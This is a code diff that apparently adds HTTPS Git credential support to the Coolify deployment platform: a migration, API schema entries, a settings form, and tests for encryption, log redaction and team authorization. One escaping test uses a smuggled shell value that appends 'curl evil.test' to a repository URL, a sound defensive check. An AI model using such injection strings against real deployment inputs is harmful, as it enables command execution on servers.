'is_spa' => 'boolean',
|
||||
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('applications', function (Blueprint $table) {
|
||||
$table->string('git_https_username')->nullable();
|
||||
$table->text('git_https_password')->nullable();
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('applications', function (Blueprint $table) {
|
||||
$table->dropColumn(['git_https_username', 'git_https_password']);
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -565,6 +565,16 @@
|
||||
"type": "string",
|
||||
"description": "The git branch."
|
||||
},
|
||||
"git_https_username": {
|
||||
"type": "string",
|
||||
"nullable": true,
|
||||
"description": "Username for HTTPS access to a private repository on a custom Git host (not github.com)."
|
||||
},
|
||||
"git_https_password": {
|
||||
"type": "string",
|
||||
"nullable": true,
|
||||
"description": "Password or access token for HTTPS access to a private repository on a custom Git host (not github.com). It is stored encrypted and never returned."
|
||||
},
|
||||
"build_pack": {
|
||||
"type": "string",
|
||||
"enum": [
|
||||
@@ -3639,6 +3649,16 @@
|
||||
"type": "string",
|
||||
"description": "The git branch."
|
||||
},
|
||||
"git_https_username": {
|
||||
"type": "string",
|
||||
"nullable": true,
|
||||
"description": "Username for HTTPS access to a private repository on a custom Git host. Send null to remove it."
|
||||
},
|
||||
"git_https_password": {
|
||||
"type": "string",
|
||||
"nullable": true,
|
||||
"description": "Password or access token for HTTPS access to a private repository on a custom Git host. It is stored encrypted and never returned. Send null or an empty string to remove the credentials."
|
||||
},
|
||||
"ports_exposes": {
|
||||
"type": "string",
|
||||
"description": "The ports to expose."
|
||||
@@ -24349,6 +24369,11 @@
|
||||
"nullable": true,
|
||||
"description": "Git full URL."
|
||||
},
|
||||
"git_https_username": {
|
||||
"type": "string",
|
||||
"nullable": true,
|
||||
"description": "Username for HTTPS access to a private repository on a custom Git host. The password or token is never returned."
|
||||
},
|
||||
"docker_registry_image_name": {
|
||||
"type": "string",
|
||||
"nullable": true,
|
||||
|
||||
@@ -355,6 +355,14 @@ paths:
|
||||
git_branch:
|
||||
type: string
|
||||
description: 'The git branch.'
|
||||
git_https_username:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'Username for HTTPS access to a private repository on a custom Git host (not github.com).'
|
||||
git_https_password:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'Password or access token for HTTPS access to a private repository on a custom Git host (not github.com). It is stored encrypted and never returned.'
|
||||
build_pack:
|
||||
type: string
|
||||
enum: [nixpacks, railpack, static, dockerfile, dockercompose]
|
||||
@@ -2407,6 +2415,14 @@ paths:
|
||||
git_branch:
|
||||
type: string
|
||||
description: 'The git branch.'
|
||||
git_https_username:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'Username for HTTPS access to a private repository on a custom Git host. Send null to remove it.'
|
||||
git_https_password:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'Password or access token for HTTPS access to a private repository on a custom Git host. It is stored encrypted and never returned. Send null or an empty string to remove the credentials.'
|
||||
ports_exposes:
|
||||
type: string
|
||||
description: 'The ports to expose.'
|
||||
@@ -15489,6 +15505,10 @@ components:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'Git full URL.'
|
||||
git_https_username:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'Username for HTTPS access to a private repository on a custom Git host. The password or token is never returned.'
|
||||
docker_registry_image_name:
|
||||
type: string
|
||||
nullable: true
|
||||
|
||||
@@ -42,6 +42,30 @@
|
||||
:canResource="$application" />
|
||||
</div>
|
||||
</x-application.settings-section>
|
||||
|
||||
@if ($application->deploymentType() === 'other')
|
||||
<x-application.settings-section title="HTTPS credentials"
|
||||
description="The username and password or access token Coolify uses to clone a private repository from a custom Git host (Azure DevOps, Bitbucket, Gitea, and others) over HTTP(S). Coolify sends them only to the host of the repository URL and never shows the saved password or token.">
|
||||
@if ($hasGitHttpsPassword)
|
||||
@can('update', $application)
|
||||
<x-slot:actions>
|
||||
<x-forms.button type="button" isError wire:click="removeGitHttpsCredential">
|
||||
Remove credentials
|
||||
</x-forms.button>
|
||||
</x-slot:actions>
|
||||
@endcan
|
||||
@endif
|
||||
<div class="grid gap-4 lg:grid-cols-2">
|
||||
<x-forms.input id="gitHttpsUsername" label="Username" autocomplete="off"
|
||||
helper="Some hosts accept any username with an access token (for example Azure DevOps)."
|
||||
canGate="update" :canResource="$application" />
|
||||
<x-forms.input id="gitHttpsPassword" type="password" label="Password or token"
|
||||
autocomplete="new-password"
|
||||
placeholder="{{ $hasGitHttpsPassword ? 'Saved. Enter a new value to replace it.' : '' }}"
|
||||
canGate="update" :canResource="$application" />
|
||||
</div>
|
||||
</x-application.settings-section>
|
||||
@endif
|
||||
</form>
|
||||
|
||||
@if (filled($privateKeyId))
|
||||
|
||||
@@ -0,0 +1,245 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Server;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Symfony\Component\Process\Process;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
/**
|
||||
* Serves the bare repositories in $root/srv with `git http-backend` (smart HTTP) and answers 401 without the Basic credentials.
|
||||
*/
|
||||
function startGitHttpsCredentialServer(string $root, string $credentials): array
|
||||
{
|
||||
file_put_contents($root.'/router.php', <<<'PHP'
|
||||
<?php
|
||||
if (! hash_equals('Basic '.base64_encode(getenv('GIT_TEST_CREDENTIALS')), $_SERVER['HTTP_AUTHORIZATION'] ?? '')) {
|
||||
header('WWW-Authenticate: Basic realm="git"');
|
||||
http_response_code(401);
|
||||
|
||||
return true;
|
||||
}
|
||||
$backend = proc_open(['git', 'http-backend'], [['pipe', 'r'], ['pipe', 'w'], ['file', '/dev/null', 'a']], $pipes, null, [
|
||||
'GIT_PROJECT_ROOT' => __DIR__.'/srv',
|
||||
'GIT_HTTP_EXPORT_ALL' => '1',
|
||||
'GIT_PROTOCOL' => $_SERVER['HTTP_GIT_PROTOCOL'] ?? '',
|
||||
'REQUEST_METHOD' => $_SERVER['REQUEST_METHOD'],
|
||||
'PATH_INFO' => parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),
|
||||
'QUERY_STRING' => $_SERVER['QUERY_STRING'] ?? '',
|
||||
'CONTENT_TYPE' => $_SERVER['CONTENT_TYPE'] ?? '',
|
||||
'HTTP_CONTENT_ENCODING' => $_SERVER['HTTP_CONTENT_ENCODING'] ?? '',
|
||||
'PATH' => getenv('PATH'),
|
||||
]);
|
||||
fwrite($pipes[0], file_get_contents('php://input'));
|
||||
fclose($pipes[0]);
|
||||
[$head, $body] = explode("\r\n\r\n", stream_get_contents($pipes[1]), 2) + [1 => ''];
|
||||
proc_close($backend);
|
||||
foreach (explode("\r\n", $head) as $line) {
|
||||
str_starts_with($line, 'Status:') ? http_response_code((int) substr($line, 8)) : header($line);
|
||||
}
|
||||
echo $body;
|
||||
|
||||
return true;
|
||||
PHP);
|
||||
|
||||
$socket = stream_socket_server('tcp://127.0.0.1:0');
|
||||
$port = (int) substr(strrchr(stream_socket_get_name($socket, false), ':'), 1);
|
||||
fclose($socket);
|
||||
|
||||
$server = new Process([PHP_BINARY, '-S', "127.0.0.1:{$port}", $root.'/router.php'], $root, ['GIT_TEST_CREDENTIALS' => $credentials]);
|
||||
$server->start();
|
||||
for ($i = 0; $i < 100 && ! @fsockopen('127.0.0.1', $port); $i++) {
|
||||
usleep(50_000);
|
||||
}
|
||||
|
||||
return [$server, "http://127.0.0.1:{$port}"];
|
||||
}
|
||||
|
||||
/**
|
||||
* Runs the commands like a server does over SSH: one `bash -se` that reads them from stdin.
|
||||
*/
|
||||
function runGitHttpsCredentialCommands(string $root, string $commands): Process
|
||||
{
|
||||
$process = new Process(['bash', '-se'], env: ['PATH' => $root.'/bin:'.getenv('PATH'), 'GIT_TERMINAL_PROMPT' => '0']);
|
||||
$process->setInput($commands."\n");
|
||||
$process->setTimeout(60);
|
||||
$process->run();
|
||||
|
||||
return $process;
|
||||
}
|
||||
|
||||
function gitHttpsCredentialApplication(string $repository, array $attributes = []): Application
|
||||
{
|
||||
$application = Application::factory()->create([
|
||||
'git_repository' => $repository,
|
||||
'git_branch' => 'main',
|
||||
'git_commit_sha' => 'HEAD',
|
||||
'build_pack' => 'dockercompose',
|
||||
'base_directory' => '/',
|
||||
'docker_compose_location' => '/docker-compose.yml',
|
||||
...$attributes,
|
||||
]);
|
||||
$application->forceFill(['git_https_username' => 'deploy-bot', 'git_https_password' => 'plain-test-value'])->save();
|
||||
$application->settings->update(['is_git_submodules_enabled' => true, 'is_git_lfs_enabled' => false]);
|
||||
|
||||
return $application->fresh();
|
||||
}
|
||||
|
||||
function gitHttpsCredentialNonRootServer(): Server
|
||||
{
|
||||
$server = Mockery::mock(Server::class)->makePartial();
|
||||
$server->shouldReceive('getAttribute')->with('user')->andReturn('ubuntu');
|
||||
$server->shouldReceive('setAttribute')->andReturnSelf();
|
||||
|
||||
return $server;
|
||||
}
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::forceCreate(['id' => 0]);
|
||||
$this->root = sys_get_temp_dir().'/coolify-git-https-'.bin2hex(random_bytes(4));
|
||||
mkdir($this->root.'/bin', 0755, true);
|
||||
mkdir($this->root.'/srv');
|
||||
mkdir($this->root.'/work');
|
||||
file_put_contents($this->root.'/bin/sudo', "#!/bin/sh\nexec \"\$@\"\n");
|
||||
// Runs `docker exec <container> bash -c '...'` on the host, so the helper container commands run unchanged.
|
||||
file_put_contents($this->root.'/bin/docker', "#!/bin/sh\nshift 2\nexec \"\$@\"\n");
|
||||
chmod($this->root.'/bin/sudo', 0755);
|
||||
chmod($this->root.'/bin/docker', 0755);
|
||||
|
||||
[$this->server, $this->baseUrl] = startGitHttpsCredentialServer($this->root, 'deploy-bot:plain-test-value');
|
||||
|
||||
$git = fn (string $dir, array $args) => (new Process(['git', '-c', 'user.email=test@example.com', '-c', 'user.name=Test', '-c', 'protocol.file.allow=always', ...$args], $dir))->mustRun();
|
||||
|
||||
mkdir($this->root.'/sub');
|
||||
file_put_contents($this->root.'/sub/lib.txt', 'submodule file');
|
||||
$git($this->root.'/sub', ['init', '-q', '-b', 'main']);
|
||||
$git($this->root.'/sub', ['add', '-A']);
|
||||
$git($this->root.'/sub', ['commit', '-qm', 'sub']);
|
||||
$git($this->root.'/sub', ['clone', '-q', '--bare', '.', $this->root.'/srv/sub.git']);
|
||||
|
||||
mkdir($this->root.'/src');
|
||||
$this->compose = "services:\n web:\n image: nginx\n";
|
||||
file_put_contents($this->root.'/src/docker-compose.yml', $this->compose);
|
||||
$git($this->root.'/src', ['init', '-q', '-b', 'main']);
|
||||
$git($this->root.'/src', ['submodule', 'add', '-q', $this->root.'/srv/sub.git', 'lib']);
|
||||
$git($this->root.'/src', ['config', '-f', '.gitmodules', 'submodule.lib.url', $this->baseUrl.'/sub.git']);
|
||||
$git($this->root.'/src', ['add', '-A']);
|
||||
$git($this->root.'/src', ['commit', '-qm', 'app']);
|
||||
$this->commit = trim($git($this->root.'/src', ['rev-parse', 'HEAD'])->getOutput());
|
||||
file_put_contents($this->root.'/src/pr.txt', 'pull request');
|
||||
$git($this->root.'/src', ['add', '-A']);
|
||||
$git($this->root.'/src', ['commit', '-qm', 'pr']);
|
||||
$git($this->root.'/src', ['clone', '-q', '--bare', '.', $this->root.'/srv/app.git']);
|
||||
$git($this->root.'/srv/app.git', ['update-ref', 'refs/pull/7/head', 'HEAD']);
|
||||
$git($this->root.'/srv/app.git', ['update-ref', 'refs/heads/main', $this->commit]);
|
||||
|
||||
$this->repository = $this->baseUrl.'/app.git';
|
||||
});
|
||||
|
||||
afterEach(function () {
|
||||
$this->server->stop(0);
|
||||
(new Process(['rm', '-rf', $this->root]))->run();
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
test('the deployment clone uses the HTTPS credential for the repository, the commit, and submodules without saving it', function (int $pullRequestId) {
|
||||
$application = gitHttpsCredentialApplication($this->repository, ['git_commit_sha' => $pullRequestId === 0 ? $this->commit : 'HEAD']);
|
||||
$checkout = $this->root.'/work/checkout';
|
||||
|
||||
['commands' => $commands] = $application->generateGitImportCommands('deploy-uuid', pull_request_id: $pullRequestId, git_type: 'gitea', exec_in_docker: true, custom_base_dir: $checkout);
|
||||
$process = runGitHttpsCredentialCommands($this->root, $commands);
|
||||
|
||||
expect($process->getExitCode())->toBe(0, $process->getErrorOutput());
|
||||
|
||||
$savedConfig = file_get_contents($checkout.'/.git/config').file_get_contents($checkout.'/.git/modules/lib/config');
|
||||
expect(file_get_contents($checkout.'/lib/lib.txt'))->toBe('submodule file')
|
||||
->and(file_exists($checkout.'/pr.txt'))->toBe($pullRequestId !== 0)
|
||||
->and($savedConfig)->not->toContain('plain-test-value')
|
||||
->and($savedConfig)->not->toContain($application->gitHttpsCredentialBasicToken())
|
||||
->and($savedConfig)->not->toContain('extraHeader');
|
||||
})->with([
|
||||
'pinned commit' => [0],
|
||||
'pull request preview' => [7],
|
||||
]);
|
||||
|
||||
test('git fails without the right HTTPS credential', function () {
|
||||
$application = gitHttpsCredentialApplication($this->repository);
|
||||
$application->forceFill(['git_https_password' => 'wrong-token'])->save();
|
||||
|
||||
['commands' => $commands] = $application->fresh()->generateGitImportCommands('deploy-uuid', exec_in_docker: false, custom_base_dir: $this->root.'/work/checkout');
|
||||
$process = runGitHttpsCredentialCommands($this->root, $commands);
|
||||
|
||||
expect($process->getExitCode())->not->toBe(0)
|
||||
->and($process->getErrorOutput())->toContain('could not read Username')
|
||||
->and(file_exists($this->root.'/work/checkout/docker-compose.yml'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('ls-remote on the server works for root and non-root users', function (bool $nonRoot) {
|
||||
$application = gitHttpsCredentialApplication($this->repository);
|
||||
|
||||
['commands' => $command] = $application->generateGitLsRemoteCommands('deploy-uuid', exec_in_docker: false);
|
||||
$commands = collect([$command]);
|
||||
if ($nonRoot) {
|
||||
$commands = collect(parseCommandsByLineForSudo($commands, gitHttpsCredentialNonRootServer()));
|
||||
}
|
||||
$process = runGitHttpsCredentialCommands($this->root, $commands->implode("\n"));
|
||||
|
||||
expect($process->getExitCode())->toBe(0, $process->getErrorOutput())
|
||||
->and($process->getOutput())->toContain("{$this->commit}\trefs/heads/main");
|
||||
})->with(['root' => [false], 'non-root' => [true]]);
|
||||
|
||||
test('the deployment job ls-remote uses the HTTPS credential in the helper container', function () {
|
||||
$application = gitHttpsCredentialApplication($this->repository);
|
||||
$job = (new ReflectionClass(ApplicationDeploymentJob::class))->newInstanceWithoutConstructor();
|
||||
$reflection = new ReflectionObject($job);
|
||||
foreach (['application' => $application, 'customPort' => 22, 'fullRepoUrl' => $this->repository] as $property => $value) {
|
||||
$reflection->getProperty($property)->setValue($job, $value);
|
||||
}
|
||||
|
||||
$command = $reflection->getMethod('gitLsRemoteCommand')->invoke($job, 'refs/heads/main');
|
||||
$process = runGitHttpsCredentialCommands($this->root, executeInDocker('deploy-uuid', $command));
|
||||
|
||||
expect($process->getExitCode())->toBe(0, $process->getErrorOutput())
|
||||
->and($process->getOutput())->toBe("{$this->commit}\trefs/heads/main\n");
|
||||
});
|
||||
|
||||
test('the Compose file loads with the HTTPS credential for root and non-root users', function (bool $nonRoot) {
|
||||
$application = gitHttpsCredentialApplication($this->repository);
|
||||
$uuid = 'git-https-'.bin2hex(random_bytes(4));
|
||||
$gitVersion = (string) str((new Process(['git', '--version']))->mustRun()->getOutput())->trim()->explode(' ')->last();
|
||||
|
||||
$commands = (new ReflectionMethod(Application::class, 'composeFileReadCommands'))->invoke($application, $uuid, $gitVersion);
|
||||
if ($nonRoot) {
|
||||
$commands = collect(parseCommandsByLineForSudo($commands, gitHttpsCredentialNonRootServer()));
|
||||
}
|
||||
$process = runGitHttpsCredentialCommands($this->root, $commands->implode("\n"));
|
||||
(new Process(['rm', '-rf', "/tmp/{$uuid}"]))->run();
|
||||
|
||||
expect($process->getExitCode())->toBe(0, $process->getErrorOutput())
|
||||
->and($process->getOutput())->toBe($this->compose);
|
||||
})->with(['root' => [false], 'non-root' => [true]]);
|
||||
|
||||
test('git sends the HTTPS credential only to the repository host', function () {
|
||||
$application = gitHttpsCredentialApplication($this->repository);
|
||||
$option = $application->gitHttpsCredentialConfigOption();
|
||||
|
||||
$headerFor = fn (string $url) => trim(runGitHttpsCredentialCommands($this->root, "git {$option} config --get-urlmatch http.extraHeader {$url} || true")->getOutput());
|
||||
|
||||
expect($headerFor($this->baseUrl.'/other/repo.git'))->toBe('Authorization: Basic '.base64_encode('deploy-bot:plain-test-value'))
|
||||
->and($headerFor('http://example.com/app.git'))->toBe('')
|
||||
->and($headerFor(str_replace('http://', 'https://', $this->baseUrl).'/app.git'))->toBe('');
|
||||
});
|
||||
|
||||
test('the HTTPS credential is not used for SSH URLs, deploy keys, or applications without a password', function (array $attributes) {
|
||||
$application = gitHttpsCredentialApplication($this->repository);
|
||||
$application->forceFill($attributes)->save();
|
||||
|
||||
expect($application->fresh()->gitHttpsCredentialConfigOption())->toBeNull();
|
||||
})->with([
|
||||
'ssh url' => [['git_repository' => 'git@example.com:org/app.git']],
|
||||
'deploy key' => [['private_key_id' => 0]],
|
||||
'no password' => [['git_https_password' => null]],
|
||||
]);
|
||||
@@ -0,0 +1,207 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\Source;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config(['app.maintenance.driver' => 'file']);
|
||||
Storage::fake('ssh-keys');
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->owner = User::factory()->create();
|
||||
$this->team->members()->attach($this->owner->id, ['role' => 'owner']);
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'git_repository' => 'https://dev.azure.com/org/project/_git/app',
|
||||
'git_branch' => 'main',
|
||||
]);
|
||||
});
|
||||
|
||||
function gitHttpsCredentialRawPassword(Application $application): ?string
|
||||
{
|
||||
return DB::table('applications')->where('id', $application->id)->value('git_https_password');
|
||||
}
|
||||
|
||||
function gitHttpsCredentialApiToken(User $user, Team $team): string
|
||||
{
|
||||
session(['currentTeam' => $team]);
|
||||
|
||||
return $user->createToken('git-https-credential-test', ['root'])->plainTextToken;
|
||||
}
|
||||
|
||||
test('an admin saves the HTTPS credential encrypted and the browser never gets the password', function () {
|
||||
$this->actingAs($this->owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$component = Livewire::test(Source::class, ['application' => $this->application])
|
||||
->set('gitHttpsUsername', 'deploy-bot')
|
||||
->set('gitHttpsPassword', 'azure-test-value')
|
||||
->call('submit')
|
||||
->assertSet('gitHttpsPassword', null)
|
||||
->assertSet('hasGitHttpsPassword', true);
|
||||
|
||||
$application = $this->application->fresh();
|
||||
expect($application->git_https_username)->toBe('deploy-bot')
|
||||
->and($application->git_https_password)->toBe('azure-test-value')
|
||||
->and(gitHttpsCredentialRawPassword($application))->not->toContain('azure-test-value')
|
||||
->and($component->html())->not->toContain('azure-test-value');
|
||||
|
||||
$component->set('gitHttpsUsername', 'other-bot')->call('submit');
|
||||
expect($this->application->fresh()->git_https_password)->toBe('azure-test-value')
|
||||
->and($this->application->fresh()->git_https_username)->toBe('other-bot');
|
||||
|
||||
$component->call('removeGitHttpsCredential')->assertSet('hasGitHttpsPassword', false);
|
||||
expect($this->application->fresh()->git_https_password)->toBeNull()
|
||||
->and($this->application->fresh()->git_https_username)->toBeNull();
|
||||
});
|
||||
|
||||
test('a username without a password is rejected', function () {
|
||||
$this->actingAs($this->owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(Source::class, ['application' => $this->application])
|
||||
->set('gitHttpsUsername', 'deploy-bot')
|
||||
->call('submit')
|
||||
->assertDispatched('error');
|
||||
|
||||
expect($this->application->fresh()->git_https_username)->toBeNull();
|
||||
});
|
||||
|
||||
test('a member of the application team cannot change the HTTPS credential after switching to a team they own', function () {
|
||||
$user = User::factory()->create();
|
||||
$this->team->members()->attach($user->id, ['role' => 'member']);
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherTeam->members()->attach($user->id, ['role' => 'owner']);
|
||||
$this->application->forceFill(['git_https_password' => 'existing-token'])->save();
|
||||
$this->actingAs($user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$component = Livewire::test(Source::class, ['application' => $this->application]);
|
||||
session(['currentTeam' => $otherTeam]);
|
||||
$component->set('gitHttpsPassword', 'attacker-token')->call('submit');
|
||||
$component->call('removeGitHttpsCredential');
|
||||
|
||||
expect($this->application->fresh()->git_https_password)->toBe('existing-token');
|
||||
});
|
||||
|
||||
test('deployment logs never contain the HTTPS credential', function () {
|
||||
$this->application->forceFill(['git_https_username' => 'deploy-bot', 'git_https_password' => 'log-canary-token'])->save();
|
||||
$application = $this->application->fresh();
|
||||
$deployment = ApplicationDeploymentQueue::query()->create([
|
||||
'application_id' => $application->id,
|
||||
'deployment_uuid' => fake()->uuid(),
|
||||
]);
|
||||
['commands' => $command] = $application->generateGitLsRemoteCommands('deploy-uuid');
|
||||
|
||||
$deployment->addLogEntry(message: 'remote said log-canary-token', command: $command);
|
||||
|
||||
$logs = (string) $deployment->fresh()->logs;
|
||||
expect($command)->toContain($application->gitHttpsCredentialBasicToken())
|
||||
->and($logs)->not->toContain('log-canary-token')
|
||||
->and($logs)->not->toContain($application->gitHttpsCredentialBasicToken());
|
||||
});
|
||||
|
||||
test('the API creates an application with an HTTPS credential and never returns the password', function () {
|
||||
$token = gitHttpsCredentialApiToken($this->owner, $this->team);
|
||||
|
||||
$response = $this->withToken($token)->postJson('/api/v1/applications/public', [
|
||||
'project_uuid' => $this->project->uuid,
|
||||
'environment_uuid' => $this->environment->uuid,
|
||||
'server_uuid' => $this->server->uuid,
|
||||
'git_repository' => 'https://git.example.com/org/private.git',
|
||||
'git_branch' => 'main',
|
||||
'build_pack' => 'nixpacks',
|
||||
'ports_exposes' => '3000',
|
||||
'autogenerate_domain' => false,
|
||||
'git_https_username' => 'deploy-bot',
|
||||
'git_https_password' => 'api-created-token',
|
||||
])->assertCreated();
|
||||
|
||||
$application = Application::where('uuid', $response->json('uuid'))->firstOrFail();
|
||||
expect($application->git_https_password)->toBe('api-created-token')
|
||||
->and($application->gitHttpsCredentialConfigOption())->not->toBeNull();
|
||||
|
||||
$this->withToken($token)->getJson("/api/v1/applications/{$application->uuid}")
|
||||
->assertOk()
|
||||
->assertJsonPath('git_https_username', 'deploy-bot')
|
||||
->assertJsonMissingPath('git_https_password')
|
||||
->assertDontSee('api-created-token');
|
||||
});
|
||||
|
||||
test('the API rejects an HTTPS credential where it is not used', function (string $endpoint, array $payload) {
|
||||
$token = gitHttpsCredentialApiToken($this->owner, $this->team);
|
||||
|
||||
$this->withToken($token)->postJson($endpoint, [
|
||||
'project_uuid' => $this->project->uuid,
|
||||
'environment_uuid' => $this->environment->uuid,
|
||||
'server_uuid' => $this->server->uuid,
|
||||
'git_branch' => 'main',
|
||||
'build_pack' => 'nixpacks',
|
||||
'ports_exposes' => '3000',
|
||||
'autogenerate_domain' => false,
|
||||
...$payload,
|
||||
])->assertUnprocessable()->assertJsonValidationErrors('git_https_password');
|
||||
})->with([
|
||||
'github.com' => ['/api/v1/applications/public', ['git_repository' => 'https://github.com/org/app', 'git_https_password' => 'token']],
|
||||
'username only' => ['/api/v1/applications/public', ['git_repository' => 'https://git.example.com/org/app.git', 'git_https_username' => 'deploy-bot']],
|
||||
'deploy key endpoint' => ['/api/v1/applications/private-deploy-key', ['git_repository' => 'git@git.example.com:org/app.git', 'git_https_password' => 'token']],
|
||||
]);
|
||||
|
||||
test('the API updates and removes the HTTPS credential', function () {
|
||||
$token = gitHttpsCredentialApiToken($this->owner, $this->team);
|
||||
|
||||
$this->withToken($token)->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'git_https_username' => 'deploy-bot',
|
||||
'git_https_password' => 'updated-token',
|
||||
])->assertOk()->assertDontSee('updated-token');
|
||||
expect($this->application->fresh()->git_https_password)->toBe('updated-token');
|
||||
|
||||
$this->withToken($token)->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'git_https_password' => null,
|
||||
])->assertOk();
|
||||
expect($this->application->fresh()->git_https_password)->toBeNull()
|
||||
->and($this->application->fresh()->git_https_username)->toBeNull();
|
||||
});
|
||||
|
||||
test('the API rejects an HTTPS credential for an application with a deploy key', function () {
|
||||
$token = gitHttpsCredentialApiToken($this->owner, $this->team);
|
||||
$this->application->forceFill(['private_key_id' => 0])->save();
|
||||
|
||||
$this->withToken($token)->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'git_https_password' => 'token',
|
||||
])->assertUnprocessable()->assertJsonValidationErrors('git_https_password');
|
||||
expect($this->application->fresh()->git_https_password)->toBeNull();
|
||||
});
|
||||
|
||||
test('a token of another team cannot set the HTTPS credential', function () {
|
||||
$otherUser = User::factory()->create();
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
|
||||
$token = gitHttpsCredentialApiToken($otherUser, $otherTeam);
|
||||
|
||||
$this->withToken($token)->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'git_https_password' => 'attacker-token',
|
||||
])->assertNotFound();
|
||||
expect($this->application->fresh()->git_https_password)->toBeNull();
|
||||
});
|
||||
@@ -291,6 +291,7 @@ describe('deployment git command escaping', function () {
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
foreach ([
|
||||
'application' => new Application,
|
||||
'customPort' => 22,
|
||||
'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #",
|
||||
] as $property => $value) {
|
||||
|
||||
@@ -262,6 +262,7 @@ test('dry run import reports counts without creating server', function () {
|
||||
});
|
||||
|
||||
test('round trip import preserves uuids secrets and related resources after source removal', function () {
|
||||
$this->application->forceFill(['git_https_username' => 'deploy-bot', 'git_https_password' => 'transfer-pat-secret'])->save();
|
||||
$bundle = $this->exporter->export($this->server);
|
||||
$originalServerUuid = $this->server->uuid;
|
||||
$originalAppUuid = $this->application->uuid;
|
||||
@@ -309,7 +310,9 @@ test('round trip import preserves uuids secrets and related resources after sour
|
||||
->and($app->environment_variables()->where('key', 'APP_SECRET')->first()?->value)->toBe('super-secret-value')
|
||||
->and($app->persistentStorages)->toHaveCount(1)
|
||||
->and($app->scheduled_tasks)->toHaveCount(1)
|
||||
->and($app->tags()->pluck('name')->all())->toContain('transfer-demo');
|
||||
->and($app->tags()->pluck('name')->all())->toContain('transfer-demo')
|
||||
->and($app->git_https_username)->toBe('deploy-bot')
|
||||
->and($app->git_https_password)->toBe('transfer-pat-secret');
|
||||
|
||||
$db = StandalonePostgresql::where('uuid', $originalDbUuid)->first();
|
||||
expect($db)->not->toBeNull()
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(fn () => Server::flushIdentityMap());
|
||||
|
||||
afterEach(fn () => Server::flushIdentityMap());
|
||||
|
||||
it('saves the HTTPS credential from the source page without showing the token again', function () {
|
||||
$stack = seedBrowserResourceStack();
|
||||
$application = createBrowserApplication($stack, [
|
||||
'name' => 'Azure App',
|
||||
'git_repository' => 'https://dev.azure.com/org/project/_git/app',
|
||||
'git_branch' => 'main',
|
||||
]);
|
||||
loginAndSkipBoarding();
|
||||
|
||||
$page = visit(applicationConfigurationUrl($stack['project'], $stack['environment'], $application).'/source');
|
||||
$page->assertSee('HTTPS credentials')
|
||||
->type('gitHttpsUsername', 'deploy-bot')
|
||||
->type('gitHttpsPassword', 'browser-pat-token')
|
||||
->click('button:visible:has-text("Save changes")')
|
||||
->assertSee('Remove credentials')
|
||||
->assertValue('input[name=gitHttpsPassword]', '')
|
||||
->assertNoJavaScriptErrors()
|
||||
->screenshot(filename: 'application-git-https-credential');
|
||||
|
||||
expect($application->fresh()->git_https_password)->toBe('browser-pat-token')
|
||||
->and($application->fresh()->git_https_username)->toBe('deploy-bot');
|
||||
});
|
||||
Reference in New Issue
Block a user